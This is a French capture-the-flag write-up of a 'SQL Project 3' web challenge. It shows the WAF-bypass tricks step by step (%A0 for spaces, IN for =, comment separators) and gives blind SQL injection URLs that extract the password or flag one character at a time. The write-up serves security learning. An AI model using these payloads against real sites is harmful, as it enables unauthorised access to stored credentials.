SQL Project 3
Last updated
Last updated
Catégorie: WEB - Points: 400 - Difficulté: Extrême - Solves: 28 Description: L'auteur d'un blog de sécurité informatique affirme que son site est parmi les plus securisé de tous et donc impénétrable. Ça ne coûte rien de vérifier une telle affirmation... Bien commencer : L'une des attaques les plus répandues sur les formulaires d'authentification en ligne reste l'injection SQL. Elle permet d'accéder à un grand nombre d'informations. Lien : https://secureblog.challenge.operation-kernel.fr/v3
Solution: Pour résoudre ce challenge il faut trouver où injecter nos commandes. Bien que le login soit revenu c'est une perte de temps d'essayer car il est surprotégé. Essayons donc de nous ré-attaquer aux articles :
Alors nous pouvons réessayer de faire la même méthode qu'à l'étape 2 mais bon ça serait étonnant que le chall soit identique. Effectivement il y a bien un WAF plus costaud que précédemment :
https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=2/**/ORDER/**/BY/**/1
Bon, donc il va falloir être ingénieux et chercher comment et quoi bypasser.
Repartons de la base des bases des injections. Essayons avec cette injection : https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=2/**/OR/**/id/**/=/**/4
Encore un message d'erreur d'erreur...
Essayons de remplacer les espaces par %A0
: https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=2%A0OR%A0id%A0=%A04
Encore et toujours ce foutu message. Là il y a encore 2 choses qui peuvent éventuellement poser problème : le =
et/ou le OR
Essayons dans un premier temps de remplacer le =
par IN
: https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=2%A0OR%A0id%A0IN%A04
Ah ici il n'y a plus d'erreur mais seulement une 404 (peut être normal).
Maintenant nous savons qu'il faut bypasser les espaces par %A0
et que les =
ne sont pas acceptés.
Après plusieurs jours de recherches (et de tests), j'ai enfin trouver qu'il s'agissait d'une Blind SQL et que ça n'allait pas nous arranger.
Voici un article très bien fait sur les Blind SQL Avec ça nous allons pouvoir avancer un peu plus.
Nous pouvons commencer à faire des tests directement sachant que nous connaissons déjà le nom de la BDD : challv3
, le nom de la table : user
ainsi que la colonne spécifique où chercher : password
.
Mais ce n'est pas grâce à cela que l'on va pouvoir avoir le flag rapidement.
Passons alors aux tests d'injections. Pour vérifier que nos injections fonctionne bien, nous allons essayer de vérifier si le flag commence bien par H : https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(2)and(0x48%A0in(substr(password,1,1)))
La page se charge complètement donc notre injection est correcte !!! Pour expliquer cette injection, tout se passe après le and
. Le 0x48
est le code ASCII en hexa de la lettre H. La suite de l'injection permet de vérifier qu'à la position 1 du password
il y ai bien ce caractère.
De toute façon nous allons faire 4 autres tests pour être sûr de bien comprendre :
H : https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(2)and(0x48%A0in(substr(password,1,1)))
A : https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(2)and(0x41%A0in(substr(password,2,1)))
C : https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(2)and(0x43%A0in(substr(password,3,1)))
K : https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(2)and(0x4B%A0in(substr(password,4,1)))
{ : https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(2)and(0x7B%A0in(substr(password,5,1)))
Nous pouvons voir que nous changeons simplement le caractère ASCII et l'index du caractère pour chaque test.
Maintenant, plutôt que de faire tout ça à la main, faisons un programme qui le fera à notre place en moins de 2 minutes :
Et pour information au départ le flag n'était qu'en majuscules. Cela est normal car SQL ne fait pas la différence entre les majuscules et les minuscules.
Il a donc fallu trouver un moyen de remédier à cela et cet article m'a beaucoup aidé. Il fallait simplement ajouté un binary()
autour de notre lettre hexadécimale pour voir la différence.
Et donc en laissant tourner le programme 2 à 3 minutes, le flag est directement donné à la fin.
Ici le flag sera affiché caractère par caractère :